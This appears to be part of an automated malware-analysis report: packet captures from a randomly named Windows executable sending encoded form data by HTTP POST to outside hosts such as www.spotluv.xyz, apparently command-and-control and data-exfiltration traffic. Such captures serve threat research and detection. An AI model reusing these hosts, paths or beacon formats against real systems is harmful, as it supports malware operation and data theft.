9c 4e 93 34 f3 66 d6 1f e2 be 62 f3 e6 8e ac a8 fc 5d cc 56 4c 20 89 67 22 f9 2f 62 92 a8 94 b0 11 5a 63 1b 5b a7 9f 25 2c 18 b5 7d 81 aa 53 91 91 63 b0 23 d7 a0 92 e3 ba a2 58 81 56 44 09 70 ff 38 7b bb c3 de f5 5e d5 bd a2 e0 f3 3f 7f 07 b4 f5 21 7f 49 bf 78 b0 b6 bb e8 df ec 74 4c 80 8a fe 0f 3c 75 3b cc eb 1e 14 4d 38 01 28 6b e4 1f d5 03 29 36 22 08 f2 a7 ef de f2 64 b4 03 b5 c4 f4 e2 9c f5 af 24 82 53 74 88 a1 b5 0e de b8 7d ce 5d 3f 74 32 c4 ae 38 b5 be 58 c2 9d 9e f5 dd 56 9b d7 8d 3d 07 eb 51 77 70 b4 3e cd f1 7f 2d a7 de c5 c1 c8 61 37 e0 78 1a b4 e8 e0 f1 17 dd 01 f1 01 49 37 5b 8b cc de dc af 96 cb 0d 81 67 da 4e b3 7e 52 e5 6f 11 c3 36 60 5a 84 b6 a1 45 af 4f b9 ed 75 07 f9 ff c0 27 84 63 35 03 8d 36 0b [TRUNCATED] Data Ascii: d7cf#C"h,?B/'LgdHrI,[`$ mTm6dF)oe=lIXTHN4fb]VL g"/bZc[%,}Sc#XVDp8{^?!IxtL<u;M8(k)6"d$St}]?t28XV=Qwp>-a7xI7[gN~Ro6`ZEOu'c56R<Y4>s\|nrIv!t`C@6"I6ICsWM\|djR/CI~D?rqGg%)2b6W8@^h}"#FG+&H(Cx"XYu]NwiEgm7CaD:Fj7Y1h y.C^m4t[/_Du+o7a_kc)p,f!u\|<HH6naGg5&SB3jc=?O)u2~ dh}g3Ca8M,u` Px>l("~i?$+:yQ\lsR\|_#z\>dm;BFFET/eH`jXC@)yBthvht:Nx~m}zBUY6~uz}{\|YQ'lZ:5uXOI,;?m^f{]u5u7u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.11.20	49798	103.120.176.124	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:38:07.702914000 CEST	523	OUT	GET /n8dl/?vX=FC28+8TNt1EBJ9Rr13Lf8bY2TrPAAO0Ms+TIyItlK84e+VLAwR127cfT6eGfINY83g5c74t6Ntc+Rr+iqurKq/8v/YzcG8LG32bad+3/XATcsm3Xq6o13Rk=&_B7=LxyxWrj8kri0gh HTTP/1.1 Host: www.vintagewins.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Jul 3, 2024 17:38:08.600579023 CEST	470	IN	HTTP/1.1 301 Moved Permanently Connection: close expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 x-redirect-by: WordPress location: http://vintagewins.com/n8dl/?vX=FC28+8TNt1EBJ9Rr13Lf8bY2TrPAAO0Ms+TIyItlK84e+VLAwR127cfT6eGfINY83g5c74t6Ntc+Rr+iqurKq/8v/YzcG8LG32bad+3/XATcsm3Xq6o13Rk=&_B7=LxyxWrj8kri0gh content-length: 0 date: Wed, 03 Jul 2024 15:38:08 GMT server: LiteSpeed

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.11.20	49799	203.161.50.127	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:38:14.032248974 CEST	779	OUT	POST /pci0/ HTTP/1.1 Host: www.spotluv.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.spotluv.xyz Referer: http://www.spotluv.xyz/pci0/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 54 51 70 79 79 68 79 6b 62 30 2b 31 72 70 68 49 43 6d 78 52 39 39 6d 61 57 54 58 30 48 6c 35 68 45 4f 70 42 79 42 4d 6f 32 79 62 2f 7a 31 6f 63 77 4e 69 33 46 4e 73 51 72 54 62 31 42 54 5a 41 6e 2b 43 6b 70 30 49 47 74 46 2b 79 7a 69 35 54 66 2f 6c 67 75 52 52 30 50 44 68 48 70 53 76 44 2b 61 53 37 63 63 6b 37 63 33 38 32 31 50 34 66 69 33 43 54 77 37 6e 47 75 64 67 70 58 76 2f 35 65 39 59 64 6a 45 48 79 4a 37 62 43 6e 58 53 73 48 42 54 5a 50 38 6e 44 42 5a 79 4a 37 35 48 4a 58 30 68 2f 6d 66 69 4d 4c 31 31 47 56 32 62 74 61 4d 4f 48 49 75 66 58 51 41 76 4e 69 44 68 4d 61 77 3d 3d Data Ascii: vX=TQpyyhykb0+1rphICmxR99maWTX0Hl5hEOpByBMo2yb/z1ocwNi3FNsQrTb1BTZAn+Ckp0IGtF+yzi5Tf/lguRR0PDhHpSvD+aS7cck7c3821P4fi3CTw7nGudgpXv/5e9YdjEHyJ7bCnXSsHBTZP8nDBZyJ75HJX0h/mfiML11GV2btaMOHIufXQAvNiDhMaw==
Jul 3, 2024 17:38:14.226490974 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:38:14 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Jul 3, 2024 17:38:14.226507902 CEST	1289	IN	Data Raw: 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c 61 79 65 72 31 22 3e 0a 20 20 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 67 36 32 31 39 22 0a 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 Data Ascii: 14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="display:inline;fill:#000000;fill-opacity:1;stroke:#000000
Jul 3, 2024 17:38:14.226520061 CEST	1289	IN	Data Raw: 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 30 2e 32 33 37 34 33 33 39 33 70 78 3b 73 74 72 6f 6b Data Ascii: style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4496" d="m 85.115421,100.5729 c -0.0036,3.37532 -0.0
Jul 3, 2024 17:38:14.226532936 CEST	1289	IN	Data Raw: 31 35 37 34 37 35 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 34 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: 157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <path id="path4513" d="m 74.6875,125.03748 c -8.394789,7.68654 -16.790624,15.37405 -23.988969,22.38484 -7.198345,7.0108 -13.197555,13.34
Jul 3, 2024 17:38:14.226572990 CEST	1289	IN	Data Raw: 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 70 78 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 Data Ascii: none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4521" d="m 96.8125,126.22498 c 6.89586,6.45836 13.7917,12.9167 19.98957,19.14581 6.19786,6.2
Jul 3, 2024 17:38:14.226587057 CEST	1289	IN	Data Raw: 39 38 38 35 2c 31 31 2e 35 31 37 37 31 20 31 32 2e 33 31 39 39 36 2c 32 33 2e 30 33 35 37 37 20 31 36 2e 38 33 37 32 34 2c 33 31 2e 37 38 39 30 34 20 34 2e 35 31 37 32 38 2c 38 2e 37 35 33 32 37 20 37 2e 32 39 39 36 34 2c 31 34 2e 35 34 39 38 35 Data Ascii: 9885,11.51771 12.31996,23.03577 16.83724,31.78904 4.51728,8.75327 7.29964,14.54985 9.24424,18.32123 1.9446,3.77138 3.00519,5.42118 4.1838,9.19262 1.17861,3.77144 2.47477,9.6631 1.94443,23.80647 -0.53034,14.14338 -2.88706,36.53226 -5.4209,56.44
Jul 3, 2024 17:38:14.226728916 CEST	1289	IN	Data Raw: 20 31 2e 30 30 31 37 31 31 2c 33 36 2e 38 38 37 30 31 20 31 2e 35 39 30 39 39 39 2c 35 34 2e 33 32 39 39 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 Data Ascii: 1.001711,36.88701 1.590999,54.32995" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4545" d="m 83.
Jul 3, 2024 17:38:14.226742029 CEST	1289	IN	Data Raw: 20 64 3d 22 6d 20 34 32 2e 34 32 36 34 30 37 2c 31 35 35 2e 33 38 38 32 35 20 63 20 33 2e 34 31 38 34 2c 30 2e 38 32 35 31 33 20 36 2e 38 33 36 30 38 32 2c 31 2e 36 35 30 30 39 20 31 30 2e 36 30 36 39 39 37 2c 32 2e 31 38 30 33 34 20 33 2e 37 37 Data Ascii: d="m 42.426407,155.38825 c 3.4184,0.82513 6.836082,1.65009 10.606997,2.18034 3.770916,0.53024 7.89657,0.76599 11.608535,0.88382 3.711965,0.11782 7.012548,0.11782 10.429711,0.0589 3.417163,-0.0589 6.953769,-0.17681 10.606588,-0.23572 3.652818,
Jul 3, 2024 17:38:14.226844072 CEST	1289	IN	Data Raw: 74 68 34 36 31 34 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 66 Data Ascii: th4614" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <ellipse ry="4.315
Jul 3, 2024 17:38:14.226856947 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 2d 72 75 6c 65 3a 6e 6f 6e 7a 65 72 6f 3b 73 74 72 6f 6b 65 3a 23 30 30 30 Data Ascii: style="opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.03816
Jul 3, 2024 17:38:14.408354998 CEST	1289	IN	Data Raw: 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 31 37 30 2e 31 34 35 31 35 2c 2d 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 36 31 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d Data Ascii: sform="translate(-170.14515,-0.038164)" id="path4610" d="m 318,180.45184 c 0.66667,0 1.33434,0 1.501,0.16616 0.16667,0.16617 -0.16667,0.49951 0.001,0.66667 0.16767,0.16717 0.68771,0.16717 0.89053,0.36949 0.20282,0.202

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.11.20	49800	203.161.50.127	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:38:16.781913042 CEST	1119	OUT	POST /pci0/ HTTP/1.1 Host: www.spotluv.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.spotluv.xyz Referer: http://www.spotluv.xyz/pci0/ Content-Length: 539 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 54 51 70 79 79 68 79 6b 62 30 2b 31 35 61 4a 49 4e 6c 70 52 73 64 6d 5a 4b 44 58 30 4e 46 34 6d 45 50 56 42 79 41 59 34 32 45 44 2f 7a 52 73 63 78 4a 32 33 49 74 73 51 67 7a 61 39 66 6a 5a 4c 6e 2b 4f 73 70 78 6f 47 74 46 71 79 79 55 6c 54 64 50 6c 2f 68 78 52 7a 49 44 68 4b 34 43 75 43 2b 61 65 4a 63 59 73 37 63 48 51 32 6b 39 51 66 6f 44 57 63 30 62 6e 41 6f 64 67 6d 65 50 2f 7a 65 39 6c 39 6a 45 50 69 4a 49 48 43 6e 33 79 73 49 68 54 61 42 4d 6e 4f 4e 35 7a 46 71 70 71 58 59 6b 52 70 6d 38 47 55 52 48 6c 4e 59 57 43 67 64 4e 65 4c 55 50 44 4f 57 53 71 49 70 77 5a 43 49 35 54 6b 43 34 7a 78 39 77 48 32 6b 66 49 75 71 46 63 48 38 57 47 70 48 4d 50 45 2f 42 43 57 2b 45 6b 77 32 58 49 42 30 63 34 50 6c 79 2b 58 6c 58 77 4a 35 58 39 50 39 7a 6d 51 4c 34 47 57 68 32 66 73 63 33 78 38 68 4c 59 78 53 48 70 4a 72 31 4f 30 6d 55 38 52 74 70 74 6e 6c 37 6d 69 50 7a 4d 51 59 79 38 4a 74 4d 6a 34 30 30 6e 75 53 66 57 44 67 46 58 6f 50 4b 46 68 54 6f 34 73 2b 6b 5a 48 56 2b 58 75 75 54 45 41 36 6a 30 [TRUNCATED] Data Ascii: vX=TQpyyhykb0+15aJINlpRsdmZKDX0NF4mEPVByAY42ED/zRscxJ23ItsQgza9fjZLn+OspxoGtFqyyUlTdPl/hxRzIDhK4CuC+aeJcYs7cHQ2k9QfoDWc0bnAodgmeP/ze9l9jEPiJIHCn3ysIhTaBMnON5zFqpqXYkRpm8GURHlNYWCgdNeLUPDOWSqIpwZCI5TkC4zx9wH2kfIuqFcH8WGpHMPE/BCW+Ekw2XIB0c4Ply+XlXwJ5X9P9zmQL4GWh2fsc3x8hLYxSHpJr1O0mU8Rtptnl7miPzMQYy8JtMj400nuSfWDgFXoPKFhTo4s+kZHV+XuuTEA6j0FijNE5/6p9Yz8T4AMvPOvgdMcUelmYlOebkrJTKpnGm5PTu1fb1WjX0nypXHGBmoRLNfjsscRpTqfBcSpHHGSyxPlCAIDHjmdg7ygURoBtt5xJpO5kl+Xxlv0ct+CutbDDkNpOLTlxCBPkNl4TB7kNsWVbeL0p2xh6AC4vSZOJi+F7SpfNvmoChAmp+vY2MVRhKWhBAI=
Jul 3, 2024 17:38:16.967883110 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:38:16 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Jul 3, 2024 17:38:16.967956066 CEST	1289	IN	Data Raw: 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c 61 79 65 72 31 22 3e 0a 20 20 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 67 36 32 31 39 22 0a 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 Data Ascii: 14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="display:inline;fill:#000000;fill-opacity:1;stroke:#000000
Jul 3, 2024 17:38:16.968014956 CEST	1289	IN	Data Raw: 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 30 2e 32 33 37 34 33 33 39 33 70 78 3b 73 74 72 6f 6b Data Ascii: style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4496" d="m 85.115421,100.5729 c -0.0036,3.37532 -0.0
Jul 3, 2024 17:38:16.968070030 CEST	1289	IN	Data Raw: 31 35 37 34 37 35 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 34 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: 157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <path id="path4513" d="m 74.6875,125.03748 c -8.394789,7.68654 -16.790624,15.37405 -23.988969,22.38484 -7.198345,7.0108 -13.197555,13.34
Jul 3, 2024 17:38:16.968126059 CEST	1289	IN	Data Raw: 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 70 78 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 Data Ascii: none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4521" d="m 96.8125,126.22498 c 6.89586,6.45836 13.7917,12.9167 19.98957,19.14581 6.19786,6.2
Jul 3, 2024 17:38:16.968214989 CEST	1289	IN	Data Raw: 39 38 38 35 2c 31 31 2e 35 31 37 37 31 20 31 32 2e 33 31 39 39 36 2c 32 33 2e 30 33 35 37 37 20 31 36 2e 38 33 37 32 34 2c 33 31 2e 37 38 39 30 34 20 34 2e 35 31 37 32 38 2c 38 2e 37 35 33 32 37 20 37 2e 32 39 39 36 34 2c 31 34 2e 35 34 39 38 35 Data Ascii: 9885,11.51771 12.31996,23.03577 16.83724,31.78904 4.51728,8.75327 7.29964,14.54985 9.24424,18.32123 1.9446,3.77138 3.00519,5.42118 4.1838,9.19262 1.17861,3.77144 2.47477,9.6631 1.94443,23.80647 -0.53034,14.14338 -2.88706,36.53226 -5.4209,56.44
Jul 3, 2024 17:38:16.968277931 CEST	1289	IN	Data Raw: 20 31 2e 30 30 31 37 31 31 2c 33 36 2e 38 38 37 30 31 20 31 2e 35 39 30 39 39 39 2c 35 34 2e 33 32 39 39 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 Data Ascii: 1.001711,36.88701 1.590999,54.32995" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4545" d="m 83.
Jul 3, 2024 17:38:16.968333006 CEST	1289	IN	Data Raw: 20 64 3d 22 6d 20 34 32 2e 34 32 36 34 30 37 2c 31 35 35 2e 33 38 38 32 35 20 63 20 33 2e 34 31 38 34 2c 30 2e 38 32 35 31 33 20 36 2e 38 33 36 30 38 32 2c 31 2e 36 35 30 30 39 20 31 30 2e 36 30 36 39 39 37 2c 32 2e 31 38 30 33 34 20 33 2e 37 37 Data Ascii: d="m 42.426407,155.38825 c 3.4184,0.82513 6.836082,1.65009 10.606997,2.18034 3.770916,0.53024 7.89657,0.76599 11.608535,0.88382 3.711965,0.11782 7.012548,0.11782 10.429711,0.0589 3.417163,-0.0589 6.953769,-0.17681 10.606588,-0.23572 3.652818,
Jul 3, 2024 17:38:16.968386889 CEST	1289	IN	Data Raw: 74 68 34 36 31 34 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 66 Data Ascii: th4614" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <ellipse ry="4.315
Jul 3, 2024 17:38:16.968442917 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 2d 72 75 6c 65 3a 6e 6f 6e 7a 65 72 6f 3b 73 74 72 6f 6b 65 3a 23 30 30 30 Data Ascii: style="opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.03816
Jul 3, 2024 17:38:17.144581079 CEST	1289	IN	Data Raw: 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 31 37 30 2e 31 34 35 31 35 2c 2d 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 36 31 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d Data Ascii: sform="translate(-170.14515,-0.038164)" id="path4610" d="m 318,180.45184 c 0.66667,0 1.33434,0 1.501,0.16616 0.16667,0.16617 -0.16667,0.49951 0.001,0.66667 0.16767,0.16717 0.68771,0.16717 0.89053,0.36949 0.20282,0.202

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.11.20	49801	203.161.50.127	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:38:19.538357019 CEST	3867	OUT	POST /pci0/ HTTP/1.1 Host: www.spotluv.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.spotluv.xyz Referer: http://www.spotluv.xyz/pci0/ Content-Length: 52927 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 54 51 70 79 79 68 79 6b 62 30 2b 31 35 61 4a 49 4e 6c 70 52 73 64 6d 5a 4b 44 58 30 4e 46 34 6d 45 50 56 42 79 41 59 34 32 45 4c 2f 77 69 6b 63 78 72 65 33 48 4e 73 51 38 44 61 